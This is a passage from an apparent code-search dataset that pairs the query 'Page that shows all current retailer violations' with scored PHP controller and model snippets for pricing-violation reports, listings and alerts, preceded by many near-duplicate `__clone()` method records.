function __clone()\n {\n \n }", "title": "" }, { "docid": "fc745d88409564de8f2f0e9ae52c501e", "score": "0.6908678", "text": "protected function __clone() {\n\t}", "title": "" }, { "docid": "cc13865cf1ae979274c1e5230341a6a5", "score": "0.6905955", "text": "public function __clone(){}", "title": "" }, { "docid": "cc13865cf1ae979274c1e5230341a6a5", "score": "0.6905955", "text": "public function __clone(){}", "title": "" }, { "docid": "00eb86eac3daadfdc45a08d4e0c15439", "score": "0.6904847", "text": "private function __clone(){\n\t\ttrigger_error('Esta clase no puede clonarse', E_USER_ERROR);\n\t}", "title": "" }, { "docid": "2113a915975e2828ea1843fe73249b1b", "score": "0.68996495", "text": "public function __clone()\n {\n }", "title": "" }, { "docid": "2113a915975e2828ea1843fe73249b1b", "score": "0.68996495", "text": "public function __clone()\n {\n }", "title": "" }, { "docid": "2113a915975e2828ea1843fe73249b1b", "score": "0.68996495", "text": "public function __clone()\n {\n }", "title": "" }, { "docid": "2113a915975e2828ea1843fe73249b1b", "score": "0.68996495", "text": "public function __clone()\n {\n }", "title": "" }, { "docid": "2a05682a083d970a35a3e936e0bbed37", "score": "0.68989366", "text": "public function __clone() {}", "title": "" }, { "docid": "2a05682a083d970a35a3e936e0bbed37", "score": "0.68989366", "text": "public function __clone() {}", "title": "" }, { "docid": "2a05682a083d970a35a3e936e0bbed37", "score": "0.68989366", "text": "public function __clone() {}", "title": "" }, { "docid": "ffdbf81a2e60dc01ddbe9efa7e169eea", "score": "0.6885067", "text": "protected function __clone () {\r\n\t}", "title": "" }, { "docid": "401d59d08494d25dc892511f9ab87ad1", "score": "0.68748444", "text": "public function __clone()\n {\n // includes objects too. (Auth, Environment, etc)\n }", "title": "" }, { "docid": "eb8446955a7b0243a0a15bbea0f4984e", "score": "0.68688756", "text": "function __clone() { return $this;}", "title": "" }, { "docid": "eb8446955a7b0243a0a15bbea0f4984e", "score": "0.68688756", "text": "function __clone() { return $this;}", "title": "" }, { "docid": "eb8446955a7b0243a0a15bbea0f4984e", "score": "0.68688756", "text": "function __clone() { return $this;}", "title": "" }, { "docid": "eb8446955a7b0243a0a15bbea0f4984e", "score": "0.68688756", "text": "function __clone() { return $this;}", "title": "" }, { "docid": "eb8446955a7b0243a0a15bbea0f4984e", "score": "0.68688756", "text": "function __clone() { return $this;}", "title": "" }, { "docid": "eb8446955a7b0243a0a15bbea0f4984e", "score": "0.68688756", "text": "function __clone() { return $this;}", "title": "" }, { "docid": "598a99e8c69e810c6d57727e857ae4a5", "score": "0.68643385", "text": "public function __clone() {\n }", "title": "" }, { "docid": "a5f793da588a2e2797076a1ddde0e25f", "score": "0.68546224", "text": "private function __clone() {\r\n\r\n }", "title": "" }, { "docid": "ba2ae666153b5e52b7e90212ac663c6d", "score": "0.68514466", "text": "private function __clone()\n {\n // SINGLETON OBJECT\n }", "title": "" }, { "docid": "d4be54dee417a14059eeb92c9fd20ae6", "score": "0.68486285", "text": "private function __clone()\r\n {\r\n // ...\r\n }", "title": "" }, { "docid": "06d9d7b603b3c235b42774372c328b6a", "score": "0.6845679", "text": "final public function __clone() {\n }", "title": "" }, { "docid": "ce14c4cdf31ba0d1acd99ea133f6f588", "score": "0.68451035", "text": "private function __clone(){}", "title": "" }, { "docid": "ce14c4cdf31ba0d1acd99ea133f6f588", "score": "0.68451035", "text": "private function __clone(){}", "title": "" }, { "docid": "ce14c4cdf31ba0d1acd99ea133f6f588", "score": "0.68451035", "text": "private function __clone(){}", "title": "" }, { "docid": "ce14c4cdf31ba0d1acd99ea133f6f588", "score": "0.68451035", "text": "private function __clone(){}", "title": "" }, { "docid": "ce14c4cdf31ba0d1acd99ea133f6f588", "score": "0.68451035", "text": "private function __clone(){}", "title": "" }, { "docid": "ce14c4cdf31ba0d1acd99ea133f6f588", "score": "0.68451035", "text": "private function __clone(){}", "title": "" }, { "docid": "ce14c4cdf31ba0d1acd99ea133f6f588", "score": "0.68451035", "text": "private function __clone(){}", "title": "" } ]
0560adb1d02794d184192374cc769d04
Page that shows all current retailer violations.
[ { "docid": "19ea44f1882ae0224a3704bb75f81955", "score": "0.7765218", "text": "public function all_retailer_violations()\n {\n //$this->data->violatedProducts = $this->Violator->getViolatedProducts($this->store_id);\n \n //var_dump($this->db->last_query()); exit();\n \n //var_dump(count($this->data->violatedProducts)); exit();\n \n $this->data->report_name = 'Retailer Violations';\n $this->data->file_name = str_replace(' ', '_', $this->data->report_name);\n $this->data->my = 'pricingviolator';\n $this->data->icon = 'ico-report';\n $this->data->widget = 'mv-report';\n $this->data->displayBookmark = true;\n $this->data->report_info = array('report_name' => $this->data->report_name);\n $this->data->report_where = array(\n \t\t'report_function' => 'all_retailer_violations',\n \t\t'report_type' => 'violationdetails');\n \n $violations = $this->Violator->get_retailer_violations_by_store($this->store_id);\n \n //var_dump(count($violations)); exit();\n \n $this->data->violations = $violations;\n \n $this->data->crawl_start = $this->Violator->crawlStart;\n $this->data->crawl_end = $this->Violator->crawlEnd;\n \n //$this->load->view('violationoverview/report_marketplace', $this->data, true); \n }", "title": "" } ]
[ { "docid": "2fda50a5053be34837d89a4ca1333215", "score": "0.69323075", "text": "public function index(Request $request)\n {\n $items = $request->user()->violations()->paginate(10);\n\n return view('violations.index', ['items' => $items]);\n }", "title": "" }, { "docid": "57741539d20a1094a4678fb59bda920d", "score": "0.6783188", "text": "public function index()\n {\n $rowNo = 1;\n $violations = DB::table('violations')->get();\n\n $registeredRooms = DB::table('rooms')\n ->orderBy('roomNo', 'asc')\n ->select('roomNo')\n ->get();\n\n $registeredResidents = DB::table('residents')\n ->orderBy('name', 'asc')\n ->select('name', 'id')\n ->get();\n\n $registeredOwners = DB::table('owners')\n ->orderBy('name', 'asc')\n ->select('name', 'id')\n ->get();\n\n $registeredResidentsAndOwners = $registeredResidents->merge($registeredOwners);\n\n return view('violations.index')\n ->with('rowNo', $rowNo)\n ->with('violations', $violations)\n ->with('registeredRooms', $registeredRooms)\n ->with('registeredResidentsAndOwners', $registeredResidentsAndOwners);\n\n }", "title": "" }, { "docid": "77e370a57f570a771fe741c934ef1f93", "score": "0.66064674", "text": "public function getViolations() {\n return $this->violations;\n }", "title": "" }, { "docid": "0d3b9f67ed8c0db0f4d3b09ec21bbc03", "score": "0.6560126", "text": "public function violations() {\n\t\treturn $this->_violations;\n\t}", "title": "" }, { "docid": "6306ee5e2a043082b672f1c826fd5b57", "score": "0.6531318", "text": "public function getViolations()\n {\n return $this->violations;\n }", "title": "" }, { "docid": "6306ee5e2a043082b672f1c826fd5b57", "score": "0.6531318", "text": "public function getViolations()\n {\n return $this->violations;\n }", "title": "" }, { "docid": "fd9d36252fe96c0fb05212457e2b27e7", "score": "0.62404335", "text": "public function getViolations(): array\n {\n return $this->violations;\n }", "title": "" }, { "docid": "beab2ebf59ea219226aac9ea6f3f0f5f", "score": "0.62041676", "text": "public function violation() {\n\t\t$this -> load -> model('mirembe_officers');\n\t\t$data['cofficer'] = $this -> mirembe_officers -> getCertOfficer();\n\t\t$data['sup'] = $this -> mirembe_officers -> getSupervisor();\n\t\t$data['contentView'] = \"violation_view\";\n\t\t$data['title'] = \"Officer\";\n\t\t$this -> load -> view('template', $data);\n\t}", "title": "" }, { "docid": "28ab2e637bd615558fbcc898239f6cc4", "score": "0.6169438", "text": "public function getViolations() : array\n {\n return $this->violations;\n }", "title": "" }, { "docid": "8e08f4c52f6a58a1589ac29b7f0ea850", "score": "0.6099089", "text": "public function getViolations()\n\t{\n\t\t$violations = array();\n\n\t\tif ($query = $this->get('query'))\n\t\t{\n\t\t\t$db = \\App::get('db');\n\n\t\t\t$violations = $db->setQuery($query)\n\t\t\t\t->execute()\n\t\t\t\t->loadRowList();\n\t\t}\n\n\t\treturn $violations;\n\t}", "title": "" }, { "docid": "64d11a038fa5a5152fc997fc13b31261", "score": "0.5897509", "text": "public function index()\n {\n //\n $problemReport = ProblemReport::paginate(0);\n\n return ProblemReportsResource::collection($problemReport);\n }", "title": "" }, { "docid": "6fcfb0410cbb1ffd6d100f2e7e31a565", "score": "0.5877763", "text": "public function index()\n {\n $user = User::findOrFail(Auth::id());\n $checkings = $user->SignExcuses()->where('status', 'checking')->get();\n $refuses = $user->SignExcuses()->where('status', 'refuse')->get();\n $passes = $user->SignExcuses()->where('status', 'ok')->get();\n return view('sign.excuse.index', compact('checkings', 'refuses', 'passes'));\n }", "title": "" }, { "docid": "ac27f9f1446c7dc04165ee96ebbc4711", "score": "0.58308613", "text": "public function violations(): array;", "title": "" }, { "docid": "b4bd2cc3d6643d93cb8a7fa0c190e098", "score": "0.58282834", "text": "public function index()\n {\n $fails = Fail::with('impact','priority')->get();\n return view('fail.index', ['fails' => $fails]);\n }", "title": "" }, { "docid": "1e549cccd52ba94f109f26762de9fe38", "score": "0.58006006", "text": "public function index()\n {\n //Get all alerts and pass it to the view\n $user = auth()->user()->id;\n $alerts = Alert::where('receiver_id', $user)\n ->orderBy('id', 'desc')\n ->get();\n\n return view('alerts.index')->with('alerts', $alerts);\n }", "title": "" }, { "docid": "d09effc81731eb8f75d47a167922dbf4", "score": "0.5785303", "text": "public function index()\n\t{\n\t\t$incorrects = $this->incorrect->all();\n\n\t\treturn View::make('incorrects.index', compact('incorrects'));\n\t}", "title": "" }, { "docid": "72f367f56b92ecd83c4bf611e64026dd", "score": "0.57801265", "text": "public function index()\n {\n $validations = Validations::latest()->paginate(5);\n if(Auth::guard('admin')->user()->access_level == 5){\n $validations = Validations::latest()->paginate(5);\n } else{\n $validations = DB::table('validations')\n ->leftJoin('builds', 'builds.id', '=', 'validations.build_id')\n ->leftJoin('employee', 'employee.id', '=', 'validations.employee_id')\n ->select('validations.*')\n ->where('builds.company_id', Auth::user()->id)\n ->where('employee.company_id', Auth::user()->id)\n ->get();\n }\n $validations->from_where = '0';\n $validations->employee_id = 0;\n return view('rep.validations.index',compact('validations'))\n ->with('i', (request()->input('page', 1) - 1) * 5);\n \n }", "title": "" }, { "docid": "9ab5cdd0df850eb44e620d22180f8d6d", "score": "0.5777473", "text": "public function index()\n {\n return view('reports.etm.passes_validated_details.index');\n }", "title": "" }, { "docid": "7c68d989e02a1c910a7616aaf6067d40", "score": "0.57673293", "text": "public function actionInspectionList()\n {\n $dealerId = BaseRequest::getParamOnUrl('id');\n $list = $this->getAllBy('inspection',['dealer' => $dealerId]);\n\n return $this->render('inspection-list',['list' => $list]);\n }", "title": "" }, { "docid": "0cb219307798387b464c7aebc1ba886d", "score": "0.575767", "text": "function absentReport()\n\t{\n\t\t$data['absentRecords'] = '';\n\n $this->global['pageTitle'] = 'Absent Listing';\n\n $this->loadViews(\"report\", $this->global, $data, NULL);\n\t}", "title": "" }, { "docid": "7e1d7f74b1eca307c946b20d0f02ace8", "score": "0.5757434", "text": "public function index()\n {\n //\n $reviewers = Reviewer::where('email', Auth::user()->email)\n // ->where('accepted', '1')\n ->orderBy('updated_at', 'desc')\n ->paginate(30);\n \n\n return view('pages.reviewers.reviewerreports')->with('reviewers', $reviewers);\n }", "title": "" }, { "docid": "1dd95428a26d965ebc56c11b11e878ad", "score": "0.5724127", "text": "public function index(){\n if(Auth::user()){\n $exceptions = Exceptions::where('status','=','1')->paginate(25);\n return view('exceptions.index')->with('exceptions',$exceptions);\n }\n else {\n return redirect('auth/login')->with('message',\"Please Login!\"); \n }\n }", "title": "" }, { "docid": "b5001391f9f2d5a015d9a099920caf1c", "score": "0.567887", "text": "public function index()\n {\n $alerts = Alert::orderBy('id','desc')->paginate(3);\n return view('alerts.index')->withAlerts($alerts);\n }", "title": "" }, { "docid": "76b9f9d17a3c42be9f5399fa2edb490f", "score": "0.56642026", "text": "public function index()\n\t{\n return $this->sendSuccessResponse(\n Veggie::fetchByAccountForDaysPast($this->getAccount(), 10),\n [VeggieTransformer::OPTIONS_SHOULD_SEE_DETAILS => true]\n );\n\t}", "title": "" }, { "docid": "32920569f0bf4cc54d197e3df21d00d6", "score": "0.5614817", "text": "public function actionVerifications()\n {\n \t$this->unsetVariablesForGui();\n \t$per_page = 10;\n \t$page = (isset($_GET['page']) ? $_GET['page'] : 1); // define the variable to “LIMIT” the query\n $condition = \"t.is_listed = 1 AND t.is_deleted = 0 AND v.is_deleted=0 AND t.host != 'NULL' AND t.host !=''\"; \n\n if(isset(Yii::app()->user->account_type) && Yii::app()->user->account_type == \"ASIC\"){\n \t$condition .= \" AND t.host=\".Yii::app()->user->id;\n }else{\n \t$condition .= \" AND t.visitor=\".Yii::app()->user->id;\n }\n $rawData = Yii::app()->db->createCommand()\n ->select(\"t.id,t.date_check_in,t.host,v.first_name,v.last_name,t.visit_prereg_status\") \n ->from(\"visit t\")\n ->join(\"visitor v\",\"v.id = t.visitor\")\n ->where($condition)\n ->queryAll();\n $item_count = count($rawData);\n $query1 = Yii::app()->db->createCommand()\n ->select(\"t.id,t.date_check_in,t.host,v.first_name,v.last_name,t.visit_prereg_status\") \n ->from(\"visit t\")\n ->join(\"visitor v\",\"v.id = t.visitor\")\n ->where($condition)\n ->order(\"t.id DESC\")\n ->limit($per_page,$page-1) // the trick is here!\n ->queryAll(); \n\n\t\t// the pagination itself\n $pages = new CPagination($item_count);\n $pages->setPageSize($per_page);\n\n\t\t// render\n $this->render('visit-history-verifications',array(\n 'query1'=>$query1,\n 'item_count'=>$item_count,\n 'page_size'=>$per_page,\n 'pages'=>$pages,\n ));\n }", "title": "" }, { "docid": "5a6fbdd03da9b5ef5eb73c4ea84089d8", "score": "0.5613588", "text": "public function showIssuanceRequestIndexPage()\n {\n return view('rs.issuance.index');\n }", "title": "" }, { "docid": "e011bca8632b737edd71007ca5946ff7", "score": "0.5590073", "text": "public function index() {\n\t\t$this->load->view('diagnostics/index', array(\n\t\t));\n\t}", "title": "" }, { "docid": "3e6343c963984a04ac230a2c41052b9c", "score": "0.556746", "text": "public function showPatientChecks(){ //OKv3\n $VPatientsDB=Usingleton::getInstance('VPatientsDB');\n //$FPatient= USingleton::getInstance('FPatient');\n \n $encCF=$VPatientsDB->get('p'); \n $posCF=$this->getCfPosition($encCF);\n \n $cfPatient=EPatient::$istances[$posCF]->getCF();\n $name=EPatient::$istances[$posCF]->getName();\n $surname=EPatient::$istances[$posCF]->getSurname();\n \n for ( $i=0;$i<count(EVisit::$istances);$i++ ){\n if ( EVisit::$istances[$i]->getCF()==$cfPatient ){\n $patChecks[]=EVisit::$istances[$i]->getDateCheck(); //tutte le date delle visite del paziente\n }\n }\n \n $this->bodyHTML=$VPatientsDB->getPatientChecks($name,$surname,$patChecks,$encCF);\n }", "title": "" }, { "docid": "987f6e11242b1257cccd31492c912a21", "score": "0.5567044", "text": "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $employeeUnavailability = $em->getRepository('AppBundle:EmployeeUnavailability')->findAll();\n\n return $this->render('employeeunavailability/index.html.twig', array(\n 'employeeUnavailability' => $employeeUnavailability,\n ));\n }", "title": "" }, { "docid": "a56b1b89bfa6376324ebf42c91f1ad95", "score": "0.5543759", "text": "function get_retailer_violations_by_store($storeId) \n {\n $storeId = intval($storeId);\n \n //var_dump($this->crawlStart);\n //var_dump($this->crawlEnd);\n //exit();\n \n $from = strtotime($this->crawlStart);\n $to = strtotime($this->crawlEnd);\n \n /*\n $violation_query =\n 'SELECT ptn.* ' .\n \"FROM {$this->_table_products_trends} ptn \" .\n \"LEFT JOIN {$this->_table_products} p ON p.upc_code = ptn.upc \" .\n \"WHERE ptn.dt >= '\" . $from . \"' \" .\n \"AND ptn.dt <= '\" . $to . \"' \" . \n \"AND p.store_id IN ($storeId)\";\n \n $violations = $this->db->query($violation_query)->result_array();\n \n var_dump($this->db->last_query());\n \n var_dump('here');\n var_dump(count($violations)); exit();\n \n \n \n $final_array = array();\n \n foreach ($violations as $violation)\n {\n var_dump($violation); exit();\n \n if ((float)$priceTrend->mpo >= (float)$priceTrend->ap)\n \tcontinue; \n }\n \n return $final_array;\n */\n \n // from getViolatedMarketsProducts():\n $productQuery = \"\n \tSELECT SQL_CACHE\n \t\tconcat(cmn.seller_id,'#',cpl.upc) as hashKey,\n \t\tp.title,\n \t\tcmn.original_name,\n \t\tcmn.id as cmn_id\n \tFROM {$this->_table_crowl_product_list} cpl\n \tLEFT JOIN {$this->_table_crowl_merchant_name} cmn ON cmn.id = cpl.merchant_name_id\n \tLEFT JOIN {$this->_table_products} p ON p.upc_code = cpl.upc\n \tLEFT JOIN marketplaces m ON m.name = cmn.marketplace\n \tWHERE p.store_id IN (\" . getStoreIdList($storeId, TRUE) . \") \n \tAND m.is_retailer = 1\n \tAND m.is_active = 1 \n \tAND cpl.violated = 1\n AND cpl.last_date >= {$from} \n AND cpl.last_date <= {$to}\n \tGROUP BY hashKey\n \"; \n\n// $productQuery = \"\n// SELECT SQL_CACHE\n// concat('#',cpl.upc) as hashKey,\n// p.title\n// FROM {$this->_table_crowl_product_list} cpl\n// LEFT JOIN {$this->_table_products} p ON p.upc_code = cpl.upc\n// WHERE\n// p.store_id IN (\" . getStoreIdList($storeId, TRUE) . \") AND cpl.violated = 1\n// AND cpl.last_date >='\".$from.\"' AND cpl.last_date<='\".$to.\"'\n// GROUP BY hashKey\";\n\n $products = $this->db->query($productQuery)->result();\n \n //echo $this->db->last_query(); exit();\n \n $finalProductsArray = array();\n $hashes = array();\n \n foreach ($products as $product)\n {\n $hashes[] = $product->hashKey;\n \n $products_assoc[$product->hashKey] = $product;\n }\n \t\n $priceTrends = $this->ProductsTrends->get_all_by_hashkeys_and_date_range($hashes, $from, $to);\n \n //var_dump($priceTrends); exit();\n //var_dump(count($priceTrends)); exit();\n \n if ($priceTrends != FALSE)\n { \n foreach ($priceTrends->result_object() as $priceTrend)\n {\n // safety hack to not show incorrect violations\n if ((float)$priceTrend->mpo >= (float)$priceTrend->ap)\n \t continue;\n \t\t\t\n \t\tlist($seller_id, $upc) = explode('#', $priceTrend->um);\n \t\t\n \t\t$violationArray = array(\n \t\t\t\t'productId' \t=> (int)$priceTrend->pid,\n \t\t\t\t'upc_code' \t\t=> (string)$priceTrend->upc,\n \t\t\t\t'retail' \t\t=> (float) $priceTrend->rp,\n \t\t\t\t'wholesale' \t=> (float) $priceTrend->wp,\n \t\t\t\t'price' \t\t=> (float) $priceTrend->mpo,\n \t\t\t\t'map' \t\t\t=> (float) $priceTrend->ap,\n \t\t\t\t'title' \t\t=> (string)$priceTrend->t,\n \t\t\t\t'title2' \t\t=> (string)$products_assoc[$priceTrend->um]->title, //$priceTrend->t\n \t\t\t\t'marketplace' \t=> (string)$priceTrend->ar,\n 'url' \t\t\t=> (string)$priceTrend->l,\n 'timestamp'\t\t=> (int) $priceTrend->dt,\n 'hash_key'\t\t=> (string)$priceTrend->um,\n 'merchant_id' \t=> (string)$seller_id,\n \t\t 'cmn_id' => (int)$products_assoc[$priceTrend->um]->cmn_id,\n 'original_name' => (string)$products_assoc[$priceTrend->um]->original_name,\n \t\t\t\t'date' \t\t\t=> (string)date('m/d/Y G:i:s', (int)$priceTrend->dt),\n \t\t\t\t'shot' \t\t\t=> (string)$priceTrend->ss\n \t\t);\n \t\t\n \t\t$finalProductsArray[] = $violationArray;\n }\n }\n \n //var_dump(count($finalProductsArray)); exit();\n \n return $finalProductsArray; \n }", "title": "" }, { "docid": "94bdfb18ab5c6598e47bc0b1dcb83c2d", "score": "0.5526946", "text": "public function index()\n {\n if (userReportValidator()){\n\n $array = getIdCondominio();\n $id_condominio = $array[0];\n $tipomenu = $array[1];\n\n $periodos = ViewPeriodos:: select ('periodo','id','periodo_actual')\n -> orderBy('fecha_inicio','desc')\n -> take(24)\n -> get();\n\n return view ('log.index',compact('periodos','tipomenu'));\n } else {return view ('layouts.403');}\n }", "title": "" }, { "docid": "8f9c0de04fbdeab1ec9d88b267b66dd8", "score": "0.552567", "text": "public function index()\n {\n $retailerList = self::RetailerList();\n return view('retailer_list', ['retailerList'=>$retailerList]);\n }", "title": "" }, { "docid": "13d293a0c672247bcc9c40ad44cbdd1f", "score": "0.54540837", "text": "public function index()\n {\n $expertStatuses = ExpertStatus::orderBy('id', 'asc')->get();\n return view('admin.expert-status.index',compact('expertStatuses'));\n }", "title": "" }, { "docid": "a069e7b894cf88a566e32f4f24fa3eaf", "score": "0.5453304", "text": "public function index()\n {\n $date = Carbon::now();\n $date->subDays(7);\n\n $patients = $this->emergencyPatient\n ->orderBy('id', 'DESC')\n ->where('patient_type', 'Emergency')\n //->where('user_id', Auth::user()->id)\n ->whereDate('created_at', '>', $date->toDateTimeString())\n ->groupBy('patient_code')\n ->paginate(10);\n\n\n $registeredPatientToday = $this->emergencyPatient\n ->where('patient_type', 'Emergency')\n ->where('user_id', Auth::user()->id)\n ->whereDate('created_at', '=', Carbon::today()->toDateString())\n ->groupBy('patient_code')\n ->get();\n\n return view('backendview.emergency.view', compact(\n 'patients',\n 'registeredPatientToday'\n ));\n }", "title": "" }, { "docid": "b9208f8b4b9dd6dbc8519bd2ba0f5ccd", "score": "0.54151195", "text": "public function index()\n {\n if (! Gate::allows('etat_livraison_access')) {\n return abort(401);\n }\n\n\n if (request('show_deleted') == 1) {\n if (! Gate::allows('etat_livraison_delete')) {\n return abort(401);\n }\n $etat_livraisons = EtatLivraison::onlyTrashed()->get();\n } else {\n $etat_livraisons = EtatLivraison::all();\n }\n\n return view('admin.etat_livraisons.index', compact('etat_livraisons'));\n }", "title": "" }, { "docid": "c017a7a8028b1b9ed517fc3cda4f435b", "score": "0.5411566", "text": "public function reports()\n {\n $inventories = inventory::orderBy('item_name', 'asc')->paginate(100);\n $all_items = inventory::select('item_name', 'serial_no', 'facility_id', 'user_id')->get();\n return view('generate_report', compact('inventories'),['all_items'=>$all_items]);\n }", "title": "" }, { "docid": "6e783dc01dd5230003e5fc6f7e3415bc", "score": "0.5410932", "text": "public function index()\n {\n $user = AlertController::getAuthenticatedUser();\n $alerts = Alert::where('user_id', $user->id)->orderBy('created_at', 'desc')->get();\n\n foreach($alerts as $alert) {\n $alert->view_alert = [\n 'href' => 'api/v1/alerts/' . $alert->id,\n 'method' => 'GET'\n ];\n }\n\n $response = [\n 'msg' => 'List of all alerts',\n 'alerts' => $alerts\n ];\n\n return response()->json($response, 200);\n }", "title": "" }, { "docid": "c328c1cf324333a32c2f3dab6a56d8e6", "score": "0.5395147", "text": "public function index()\n {\n $sewers = DB::table('sewers')->where('status', 1)->get();\n $sewers2 = DB::table('sewers')->where('status', 2)->get();\n $sewers3 = DB::table('sewers')->where('status', 3)->get();\n return view('alerts.index', compact('sewers','sewers2','sewers3'));\n }", "title": "" }, { "docid": "c414e55b77cb9f2b41f2127e348f8ee5", "score": "0.53826195", "text": "public function violations_by_retailer($market, $id = false)\n {\n $this->load->model('products_m');\n $this->load->model('crowl_m'); \n \n $this->data->market = $this->Market->get_marketplace_by_name($market);\n $this->data->market_shortname = $market;\n \n if ($id)\n { \n $this->data->report_id = base64_decode(urldecode($id));\n }\n \n //var_dump($this->data->market); exit();\n \n // merchant is different DB table that marketplaces -- Christophe\n $merchant_info = $this->merchant_products_m->getMerchantDetailsBySellerId($market, $market);\n \n //var_dump($merchant_info); exit();\n \n $this->data->report_name = $this->data->market['display_name'] . ' Violations';\n $this->data->file_name = str_replace(' ', '_', $this->data->report_name);\n $this->data->my = 'pricingviolator';\n $this->data->icon = 'ico-report';\n $this->data->widget = 'mv-report';\n $this->data->displayBookmark = true;\n\n $this->data->report_info = array('report_name' => $this->data->report_name);\n $this->data->report_where = array(\n \t\t'report_function' => 'report_marketplace',\n \t\t'marketplace' => $market,\n \t\t'report_type' => 'violationdetails'\n );\n \n $this->data->crawl_start = $this->Violator->crawlStart;\n $this->data->crawl_end = $this->Violator->crawlEnd;\n \n //var_dump($this->data->crawl_start); exit();\n \n $this->data->date_from = date('Y-m-d', strtotime($this->Violator->crawlStart));\n $this->data->date_to = date('Y-m-d', strtotime($this->Violator->crawlEnd));\n \n $this->data->show_most_recent = TRUE; // default value\n \n if (!empty($_POST))\n {\n //var_dump($_POST); exit();\n \n $this->data->crawl_start = $_POST['date_from'] . ' 00:00:00';\n $this->data->crawl_end = $_POST['date_to'] . ' 23:59:59';\n \n $this->data->date_from = date('Y-m-d', strtotime($this->data->crawl_start));\n $this->data->date_to = date('Y-m-d', strtotime($this->data->crawl_end));\n \n $this->data->show_most_recent = isset($_POST['show_most_recent']) ? TRUE : FALSE;\n }\n \n $start_time_int = strtotime($this->data->crawl_start);\n $end_time_int = strtotime($this->data->crawl_end);\n \n $merchant_id = intval($merchant_info['id']);\n \n $violation_query = \"\n SELECT *\n FROM products_trends_new\n WHERE mid = {$merchant_id}\n AND dt >= {$start_time_int}\n AND dt <= {$end_time_int}\n AND mpo < ap\n ORDER BY dt DESC\n \";\n \n //var_dump($violation_query); exit();\n \n $priceTrends = $this->db->query($violation_query)->result_array();\n \n //var_dump($priceTrends); exit();\n //echo count($priceTrends); exit();\n \n $finalViolationsArray = array();\n \n $duplicate_check_array = array();\n \n foreach ($priceTrends as $priceTrend)\n {\n //safety hack to not show incorrect violations\n if ((float)$priceTrend['mpo'] >= (float)$priceTrend['ap'])\n {\n \t continue;\n }\n \n $product_id = intval($priceTrend['pid']);\n \n if ($this->data->show_most_recent)\n {\n if (isset($duplicate_check_array[$product_id]))\n {\n continue;\n }\n }\n \n \t $merchant_name = empty($merchant_info) || $merchant_info == FALSE ? 'N/A' : $merchant_info['merchant_name'];\n \t \n \t $product = $this->products_m->get_product_by_id($priceTrend['pid']);\n \t \n \t // Christophe: database queries to product_trends_new are slow, so faster to put processing\n \t // here with PHP, and just go through all rows\n \t if (intval($product['store_id']) != intval($this->store_id))\n \t {\n \t continue;\n \t }\n \t \n \t $violationArray = array(\n \t 'productId' => (int)$priceTrend['pid'],\n \t 'upc_code' => (string)$priceTrend['upc'],\n \t 'retail' => (float) $priceTrend['rp'],\n \t 'wholesale' => (float)$priceTrend['wp'],\n \t 'price' \t\t=> (float)$priceTrend['mpo'],\n \t\t\t 'map' \t\t\t=> (float)$priceTrend['ap'],\n 'title' \t\t=> (string)$product['title'], //$priceTrend->t\n \t\t\t\t'marketplace' \t=> (string)$priceTrend['ar'],\n \t\t\t\t'url' \t\t\t=> (string)$priceTrend['l'],\n \t\t\t\t'timestamp'\t\t=> (int)$priceTrend['dt'],\n \t\t\t\t'hash_key'\t\t=> (string)$priceTrend['um'],\n \t\t\t\t'merchant_id' \t=> (string)$priceTrend['mid'],\n \t\t\t\t'original_name' => $merchant_name,\n \t\t\t\t'date' \t\t\t=> (string)date('m/d/Y G:i:s', (int)$priceTrend['dt']),\n \t\t\t\t'shot' \t\t\t=> (string)$priceTrend['ss']\n \t\t);\n \n \t\t$finalViolationsArray[] = $violationArray;\n \t\t\n \t\t$duplicate_check_array[$product_id] = TRUE;\n }\n \t\t\t\t\t\t\t\t\t\t\t\t\t \n //var_dump($finalViolationsArray); exit();\n\t \n $this->data->violations = $finalViolationsArray;\n \n $this->load->view('violationoverview/violations_by_retailer', $this->data, true); \n }", "title": "" }, { "docid": "45a475e4ad5a8181ace699e48cb3f3b1", "score": "0.53633624", "text": "public function index()\n {\n $hospitalises = Hospitalise::latest()->paginate(5);\n \n return view('hospitalises.index', compact('hospitalises'))\n ->with('i', (request()->input('page', 1) - 1) * 5);\n }", "title": "" }, { "docid": "265237aa230bed403c8fb7ca21c468e8", "score": "0.53537875", "text": "public function index()\n {\n if (!Sentry::check())\n {\n return Redirect::to('/');\n }\n else\n {\n $sellers = DB::select(\"SELECT id, company FROM sellers\");\n $this->layout->content = View::make('reports.index', array(\n 'sellers' => $sellers,\n ));\n }\n }", "title": "" }, { "docid": "aa68b30d11f5c81759e6cd1a2f4149a8", "score": "0.534572", "text": "public function index()\n {\n $user = Auth::User();\n $reports = HospitalReport::where('hospital_id', $user->id)->paginate(1);\n return view('hospital.report.all_report')->with(compact('reports'));\n }", "title": "" }, { "docid": "5af739e12b61c56fab168ae8729da03f", "score": "0.5339476", "text": "public function index()\n {\n $audit = Audit::orderBy('created_at', 'desc')\n ->paginate();\n\n $audit->map(function ($entry) {\n $entry['user_name'] = User::where('id', $entry['user_id'])->pluck('name')->first();\n\n return $entry;\n });\n\n return view('audit.index')->with(['audit' => $audit]);\n }", "title": "" }, { "docid": "24a28596aa34b527bff113930d6dd678", "score": "0.532919", "text": "public function index()\n\t{\n\t\t$reporters = Reporter::all();\n\n\t\treturn View::make('reporters.index', compact('reporters'));\n\t}", "title": "" }, { "docid": "b37efd12adfb7e8ea025c4f4a831f2ae", "score": "0.53267103", "text": "public function dailyvreports()\n { \n\n if (get_post('date')) {\n $date = get_post('date');\n } else {\n $date = date('Y-m-d') . ' - ' . date('Y-m-d');\n }\n\n $daterange = explode(' - ', $date);\n $datefrom = $daterange[0];\n $dateto = $daterange[1];\n\n $where = array(\n 'ss.SubDepartmentID = ?',\n 'DATE(sa.DateApplied) >= ? AND DATE(sa.DateApplied) <= ?',\n );\n\n $params = array(\n $this->user->OrganizationID,\n $datefrom,\n $dateto\n );\n\n\n $records = $this->statisticsdb->organizationDailyViolationReport($where, $params);\n\n $items = array();\n $per_day_count = array();\n $day_total = array();\n foreach ($records as $item) {\n if (!array_key_exists($item['id'], $items)) {\n $items[$item['id']] = array(\n 'Code' => $item['Code'],\n 'Name' => $item['Name'],\n 'CommonName' => $item['MenuName']\n );\n }\n\n $per_day_count[$item['id']][$item['day']] = $item['applicationCount'];\n $day_total[$item['day']] = (isset($day_total[$item['day']]) ? ($day_total[$item['day']] + $item['applicationCount']) : $item['applicationCount']);\n\n if ($item['added_violations']) {\n $ids = explode(',', $item['added_violations']);\n $ids = '\"'.implode('\",\"', $ids).'\"';\n $added = $this->statisticsdb->getServicesByID($ids);\n foreach ($added as $added_item) {\n if (!array_key_exists($added_item['id'], $items)) {\n 